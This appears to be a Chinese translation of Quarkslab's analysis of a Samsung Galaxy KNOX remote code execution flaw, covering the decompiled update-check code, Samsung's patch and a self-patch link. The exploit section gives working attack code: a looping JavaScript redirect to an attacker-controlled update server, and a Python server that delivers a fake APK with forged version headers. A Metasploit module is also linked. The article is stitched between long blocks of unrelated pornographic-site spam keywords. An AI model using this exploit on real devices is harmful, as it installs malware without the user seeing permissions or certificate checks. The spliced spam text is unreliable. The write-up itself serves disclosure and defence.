国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

安全 漏洞 終端安全
本文將詳細介紹三星 Galaxy S5最新發現的遠程執行漏洞,攻擊者可以藉此漏洞入侵系統。目前三星官方已在Galaxy S5、Note 4和Alpha產品中修復此漏洞,但在S4,S4 Mini,Note3和Ace 4(可能還有其他設備)上尚未被修復。

本文將詳細介紹三星 Galaxy S5最新發現的遠程執行漏洞,攻擊者可以藉此漏洞入侵系統。目前三星官方已在Galaxy S5、Note 4和Alpha產品中修復此漏洞,但在S4,S4 Mini,Note3和Ace 4(可能還有其他設備)上尚未被修復。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

介紹

KNOX,是三星的一款基于開源Android平臺的安全解決方案,可以通過物理手段和軟件體系相結合的方式全面增強了安全性。

我們Quarkslab團隊喜歡搗鼓Android設備。所以當三星Galaxy S5發布時,我們檢查了一下它的固件。很快我們便發現了一個簡單的漏洞和可用的exp(漏洞利用)。出現漏洞的程序是UniversalMDMApplication。這個程序默認包含在S5的ROM中,也是三星KNOX安全解決方案中的一部分。

利用這個漏洞我們可以讓有漏洞的程序誤以為有新的更新。結果就是應用程序會彈出一個窗口詢問用戶是否需要更新。如果用戶選擇“是”,惡意軟件就會安裝;而如果用戶選擇了“否”,我們可以再次彈出窗口讓用戶誤以為“否”這個按鈕失效了。我們的漏洞可以通過email實現(讓用戶點擊一個鏈接),或者也可以在用戶用Chrome/自帶瀏覽器瀏覽網頁時被觸發。或者攻擊者也可以在MITM(中間人攻擊)時在HTML網頁中注入一段JavaScript來實現漏洞。

我們一直沒有公布這個漏洞因為我們打算在mobile pwn2own大賽公布,但貌似今年的規則更嚴了。新的規則中,受害者只能做一次點擊操作。所以當彈窗出現時,盡管大部分用戶會點擊“是”,但對Pwn2Own大賽而言,這已經犯規。

即使沒有“用戶交互”的問題,這個漏洞今年8月也已經在三星Note 4和Alpha上修復,只是直到10月還未在Galaxy S5上修復,所以這漏洞也不能用于pwn2own了。

本文將介紹漏洞工作原理,提醒開發者注意此類漏洞,還將附上漏洞的利用方式。

時間線

2014年4月 - 三星Galaxy S5發布,我們發現了漏洞

2014年8月 - 三星Galaxy Note 4和Alpha發布。在這兩款機型的ROM中漏洞被修復

2014年10月 - 三星S5上的漏洞被修復

2014年11月 - Mobile Pwn2Own大賽

據我們所知,以下機型的漏洞尚未被修復:

三星 Galaxy S4 (ROM版本: I9505XXUGNH8)

三星 Galaxy S4 mini (ROM版本: I9190UBUCNG1)

三星 Galaxy Note 3 (ROM版本: N9005XXUGNG1)

三星 Galaxy Ace 4 (ROM版本: G357FZXXU1ANHD)

警告:這份列表中沒有列出所有設備,其他的設備也可能有漏洞。在文章結尾處有修復漏洞的方法。#p#

漏洞分析

簡短writeup

UniversalMDMClient應用默認是以三星KNOX組件被安裝的,它會注冊一個URI:"smdm://"。當用戶點擊一個指向"smdm://"的鏈接時,UniversalMDMClient中的LaunchActivity組件就會啟動并分析這個URL。它會從這個URL中提取很多信息,包括更新服務器的URL。

提取到更新服務器的URL后,應用會對URL使用HEAD方法,它會檢查服務器是否返回一個非標準的header:"x-amz-meta-apk-version"。如果服務器返回了這個header,它會檢查UniversalMDMClient應用的當前版本,與"x-amz-meta-apk-version" header中的版本進行比對。如果header的版本號更新,它就會向用戶顯示一個彈窗提醒用戶有可用更新,詢問用戶是否需要升級。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

如果用戶選擇了“是”,程序就會像更新服務器URL發送GET請求,而響應內容就會以APK文件的形式保存,最后,它會在不提示用戶這個應用程序需要的權限也不檢查程序證書的情況下安裝應用。因此,如果攻擊者能夠讓用戶更新,他也就可以在用戶的設備上安裝惡意軟件了。

2014年10月漏洞被修復,程序會檢查下載的APK程序的包名是否與UniversalMDMClient應用中的相同。由于兩個程序有兩個不同證書而包名相同,所以就不能安裝惡意程序了。

詳細writeup

在UniversalMDMClient的AndroidManifest.xml文件中,我們可以看到它定義了URI:

 

  1. manifest android:versionCode="2" android:versionName="1.1.14" package="com.sec.enterprise.knox.cloudmdm.smdms" 
  2.  xmlns:android="http://schemas.android.com/apk/res/android"> 
  3.   <uses-sdk android:minSdkVersion="17" android:targetSdkVersion="19" /> 
  4.   [...]  
  5.   <uses-permission android:name="android.permission.INSTALL_PACKAGES" /> 
  6.   [...]  
  7.   <application android:allowBackup="true" android:name=".core.Core"> 
  8.     <activity android:configChanges="keyboard|keyboardHidden|orientation" android:excludeFromRecents="true" 
  9.      android:label="@string/titlebar" android:name=".ui.LaunchActivity" android:noHistory="true" 
  10.      android:theme="@android:style/Theme.DeviceDefault"> 
  11.       <intent-filter> 
  12.         <data android:scheme="smdm" /> 
  13.         <action android:name="android.intent.action.VIEW" /> 
  14.         <category android:name="android.intent.category.DEFAULT" /> 
  15.         <category android:name="android.intent.category.BROWSABLE" /> 
  16.       </intent-filter> 
  17.     </activity> 
  18.   [...]  
  19.  </application> 
  20. </manifest> 

 

第11至16行中的intent-filter注冊了URI "smdm://" 并將它與com.sec.enterprise.knox.cloudmdm.smdms.ui.LaunchActivity組件關聯起來。當用戶嘗試打開一個"smdm://" URI時,LaunchActivity中的onCreate()方法就會處理這個URL。我們會從這里深入探究代碼。除了程序代碼通過proguard被“混淆”過,用JEB反編譯器對其進行分析沒有任何困難。

以下是反編譯得到onCreate()方法的源代碼:

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

onCreate()首先做的是(通過getPreETAG()函數)檢查/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/目錄中是否存在文件PreETag.xml。如果文件存在,應用會調用finish()方法結束執行。默認情況下PreETag.xml文件并不存在。

接著,應用程序會獲取Intent來啟動Activity或者更準確地說是其中的鍵值。鍵值的格式必須是"smdm://hostname?變量1=值1&變量2=值2"。變量名能夠從來源中輕松獲取:seg_url, update_url, email, mdm_token, program和quickstart_url。最重要的是quickstart_url。在一個shared_preference文件內寫入所有這些變量后,調用Core.startSelfUpdateCheck(),onCreate()結束。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

Core.startSelfUpdateCheck()負責檢查當前是否正在進行更新,如果沒有,則調用UMCSelfUpdateManager.startSelfUpdateCheck():

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

UMCSelfUpdateManager.startSelfUpdateCheck()函數檢查是否有數據連接,如果有正在等待的更新則將其刪除,并根據umc_cdn字符串的值構造一個URL,umc_cdn字符串是在shared_pref文件"m.xml"中的,構造完成后將其賦上字符串常量"/latest"。umc_cdn的值就是Intent中的鍵值udpdate_url。所以這是個被攻擊者完全控制的值。接下來它會調用UMCSelfUpdateManager.doUpdateCheck(),把之前構造的URL當作第一個參數:

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

這個函數中,ContentTransferManager被初始化,并向攻擊者控制的URL發送HEAD HTTP請求。請求的不同狀態會由handleRequestResult類和onFailure()、 onProgress()、onStart()、onSucess()等方法處理。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

當然,最有趣的方法還是onSucess()了。它會檢查header中的ETag、Content-Length和x-amz-meta-apk-version。header中的x-amz-meta-apk-version值會與當前UniversalMDMApplication APK包的版本進行比較。如果header中的x-amz-meta-apk-version版本號大于當前的APK版本,則判斷為需要更新。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

這時候,用戶屏幕會彈出一個窗口,稱應用有更新,詢問用戶是否要安裝。如果他選擇“是”,我們就能繼續攻擊了。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

如果用戶選擇“是”,UMCSelfUpdateManager.onSuccess()就會被調用,它會調用onSucess()方法:

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

而這個onSuccess()會最終調用beginUpdateProcess()開始更新線程:

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

更新線程會調用執行installApk(),而installApk()又會調用_installApplication() _installApplication()的功能就是禁止包驗證 (防止Google掃描APK)安裝APK之后再重新開啟包驗證:

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

整個過程到此結束。下載的APK既沒有經過驗證,也沒有向用戶展示請求的權限。因此這個漏洞能夠被攻擊者用來安裝惡意程序。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

而當更新安裝完成后,漏洞就不能再被利用了。因為更新成功后,ETag header的值被寫入/data/data/com.sec.enterprise.knox.cloudmdm.smdms/shared_prefs/PreETag.xml,而LaunchActivity的onCreate()方法中首先就會檢查該文在是否存在。#p#

三星的補丁

為了防止漏洞被利用,程序現在會在安裝前檢查包名,包名必須與UniversalMDMApplication中的包名相同。

以下是進行檢查的函數:

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

打過補丁的系統中的彈窗:

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

漏洞利用

EXP相當的簡單,你得讓你的受害者點擊你的URI,可以通過郵件或者是用網頁中JavaScript把他們重定向過去:

  1. <script>  
  2.   function trigger(){  
  3.     document.location="smdm://meow?update_url=http://yourserver/";  
  4.   }  
  5.   setTimeout(trigger, 5000);  
  6. </script> 

有趣的是當你用JavaScript觸發exp時,如果用戶選擇“取消”,Android會返回網頁,繼續執行JavaScript代碼。這意味著我們可以在JavaScript中做循環。用戶可能會認為彈窗的取消鍵不好使了,他們可能就會點“是”。

服務器端,你得返回以下header:

x-amz-meta-apk-version : 編一個大一點的數字。比如 1337 ;

ETag : 假APK的md5校驗值;

Content-Length : APK的大小

以下是服務器端的代碼:

 

  1. import hashlib  
  2. from BaseHTTPServer import BaseHTTPRequestHandler  
  3. APK_FILE = "meow.apk" 
  4. APK_DATA = open(APK_FILE,"rb").read()  
  5. APK_SIZE = str(len(APK_DATA))  
  6. APK_HASH = hashlib.md5(APK_DATA).hexdigest()  
  7. class MyHandler(BaseHTTPRequestHandler):  
  8.     def do_GET(self):  
  9.         self.send_response(200)  
  10.         self.send_header("Content-Length", APK_SIZE)  
  11.         self.send_header("ETag", APK_HASH)  
  12.         self.send_header("x-amz-meta-apk-version", "1337")  
  13.         self.end_headers()  
  14.         self.wfile.write(APK_DATA)  
  15.         return  
  16.     def do_HEAD(self):  
  17.         self.send_response(200)  
  18.         self.send_header("Content-Length", APK_SIZE)  
  19.         self.send_header("ETag", APK_HASH)  
  20.         self.send_header("x-amz-meta-apk-version", "1337")  
  21.         self.end_headers()  
  22.         return  
  23. if __name__ == "__main__":  
  24.     from BaseHTTPServer import HTTPServer  
  25.     server = HTTPServer(('0.0.0.0',8080), MyHandler)  
  26.     server.serve_forever() 

 #p#

怎么自己打補丁呢?

如果你的設備還有漏洞,你可以等三星的補丁,也可以自己修復。修復補丁不需要root權限,只需點擊這個鏈接:

smdm://patch/

實際上點擊這個鏈接時,漏洞程序會啟動,但是沒有指定的更新URL,它會使用默認的三星UMC(Universal MDM Client)服務器http://umc-cdn.secb2b.com:80,這個服務器上有最新版本的UniversalMDMClient.apk。

安裝完成后你可能會看到這個界面,按返回或者Home鍵即可。

深度:剖析三星Galaxy KNOX遠程代碼執行漏洞

以下是對未修復和已修復的S5系統的漏洞利用演示視頻:

譯者注:

這個漏洞已經可以在Metasploit上使用:

模塊:exploit/android/browser/samsung_knox_smdm_url

模塊下載:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/android/browser/samsung_knox_smdm_url.rb

參考信息來源:Quarkslab & GitHub

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2015-06-18 10:49:31

2016-01-31 16:49:42

漏洞Galaxy

2012-01-18 09:17:54

三星Galaxy

2022-03-08 13:20:33

數據泄露黑客

2012-04-13 13:40:06

三星

2012-04-04 11:41:31

三星

2013-06-26 14:32:18

2012-05-04 14:17:31

評測

2012-05-01 16:38:40

三星

2011-08-10 09:19:39

蘋果三星Galaxy 10.1

2021-12-31 10:46:35

Galaxy Stor三星惡意軟件

2014-03-04 17:44:30

2014-02-27 17:12:02

2012-04-08 14:17:15

蘋果

2012-06-28 15:19:49

蘋果平板電腦

2011-06-14 09:30:40

Galaxy Tab Android 3.1三星

2012-05-04 08:47:00

GALAXY SIII三星

2015-06-18 10:19:11

2012-04-13 19:21:11

三星
點贊
收藏

51CTO技術棧公眾號

成人h精品动漫一区二区三区| 欧美激情一区| 亚洲高清一区二区三区| 成人三级视频在线观看一区二区| 在线观看中文| www.激情成人| 色阁综合av| 亚洲影视一区二区三区| 日韩精品极品在线观看| 伊人网在线免费观看| 国产成人在线看| 国产一区二区精品免费| 久久久久97| 亚洲图片欧洲图片av| 国产黄在线观看| 激情亚洲一区二区三区四区 | 亚洲欧美综合久久久| 久久99国产精品久久久久久久久| 永久免费毛片在线播放| 欧美高清视频在线高清观看mv色露露十八| 男人添女人下面免费视频| 成人综合在线观看| 国产色一区二区三区| 精品一区二区在线免费观看| 日韩电影免费观看高清完整| 亚洲高清免费观看高清完整版在线观看 | 欧美不卡一二三| 国产精品欧美大片| 91九色视频在线观看| 成人激情动漫在线观看| 午夜视频在线观看免费视频| 97在线观看视频| 99久久久精品免费观看国产蜜| 免费在线观看黄色| 国产福利不卡| 在线一区二区三区四区| 久久资源中文字幕| 免费看a级黄色片| 亚洲白拍色综合图区| 最近高清中文在线字幕在线观看1| 国产不卡视频在线| 国产宾馆实践打屁股91| 国产一级片在线播放| 久久久久久com| 国产精品一二三区| 国产高潮在线| 欧美日韩国产不卡在线看| 欧美日韩亚洲成人| 婷婷综合一区| 成人福利视频在| 美女av一区二区三区| 久久成人麻豆午夜电影| 国产激情视频在线观看| 亚洲qvod图片区电影| 亚洲综合激情在线| 91精品无人成人www| 欧美多人爱爱视频网站| 国产不卡一区视频| 亚洲承认视频| 日韩五码在线观看| 色中色综合影院手机版在线观看| 欧美国产综合色视频| 女仆av观看一区| 久久一夜天堂av一区二区三区| 中文在线视频| 97人人模人人爽人人喊38tv| 欧美日韩一区二区三区| 免费在线欧美视频| 国产日韩精品在线看| 99影视tv| 91精品国产综合久久久久久久| 91久久在线| 欧美电影h版| 亚州av影院| 国产高清自拍一区| 日韩一区二区三区视频| 久久精品国产精品青草| √天堂8资源中文在线| 欧美交换配乱吟粗大25p| 最近2019中文字幕mv免费看| 亚洲精选在线视频| 日韩精品欧美精品| 偷拍精品福利视频导航| 婷婷色在线资源| 午夜视频国产| 久久久噜噜噜www成人网| 亚洲蜜桃在线| 91精品欧美久久久久久动漫| 图片区亚洲欧美小说区| 高清一区二区视频| 欧美色成人综合| 亚洲电影在线一区二区三区| 高清在线观看av| 精品不卡一区二区三区| 亚洲国产成人精品女人久久久| 国产女优一区| 一根才成人网| 97dyy97影院理论片在线| 国产欧美日韩免费看aⅴ视频| 色婷婷久久久亚洲一区二区三区 | 在线免费看av| 一区二区三区观看| 亚洲图片欧美午夜| 日韩美女视频19| 91精品久久久久久9s密挑| 精品免费国产| 久久久精品影院| 亚洲国产美国国产综合一区二区| 美女诱惑一区| 色狼人综合干| 成人免费看视频网站| 网上成人av| 视频一区不卡| 国产精品午夜视频| 日韩av一区二区在线观看| 夜夜嗨av一区二区三区中文字幕| 日韩福利电影在线观看| 136福利精品导航| 国内精品一区视频| 国产av无码专区亚洲精品| 97自拍视频| 97免费中文视频在线观看| 日韩欧美国产一区二区三区| 欧美国产日产图区| 美国一区二区三区在线播放| 欧美日韩精品一区二区视频| av电影一区| 1区2区在线观看| 亚洲s色大片在线观看| ww国产内射精品后入国产| 中文字幕久久综合| 亚洲999一在线观看www| 久久久免费精品视频| 国产亚洲精品日韩| 在线不卡中文字幕| 午夜精品一区二区三区三上悠亚 | 91av在线网站| 美女久久久久久久| 亚洲欧美视频在线| 日韩精品福利网站| 精品少妇一区二区三区在线播放 | 国产伦精品一区二区三区四区视频 | 99视频一区二区三区| 久久国产乱子精品免费女| www.中文字幕久久久| 国产免费av高清在线| 在线观看免费黄色| 日本美女高清在线观看免费| 黄色精品免费看| 欧美1—12sexvideos| bl视频在线免费观看| 日本一区二区三区视频在线| 韩日精品一区| 澳门久久精品| jiujiure精品视频播放| 久久视频国产| 欧美精品综合| 日韩精品一二三区| kk眼镜猥琐国模调教系列一区二区 | 国产精品乱码一区二区三区软件| 亚洲欧洲韩国日本视频| 亚洲网友自拍偷拍| 日韩一卡二卡三卡| 在线看日韩欧美| 日韩免费观看高清| 91亚色免费| 青青青青草视频| 男女羞羞视频网站| 国产二区不卡| 国产男女激情视频| 精品亚洲综合| 永久av在线| 9.1麻豆精品| 久久精品国产www456c0m| 久久亚洲精品伦理| 午夜精品福利一区二区三区av| 亚洲精品99久久久久中文字幕| 欧美激情喷水视频| 欧美日韩天天操 | 一区二区三区欧美激情| 国产精品三级av在线播放| 在线不卡一区二区| 亚洲欧美在线第一页| 91成人伦理在线电影| 日韩资源av在线| 国产98在线| 精品国精品国产自在久国产应用| 国产精品18久久久久久久网站| 国产亚洲一区二区三区在线观看| 日本黄色一区二区| 国产精品18久久久久久麻辣| 国产a级一级片| 欧美三级网站| 日本在线不卡视频| 欧美精品1区2区3区| 日本a级片电影一区二区| 69sex久久精品国产麻豆| 午夜精品成人av| 久久在线91| 日韩欧美视频在线|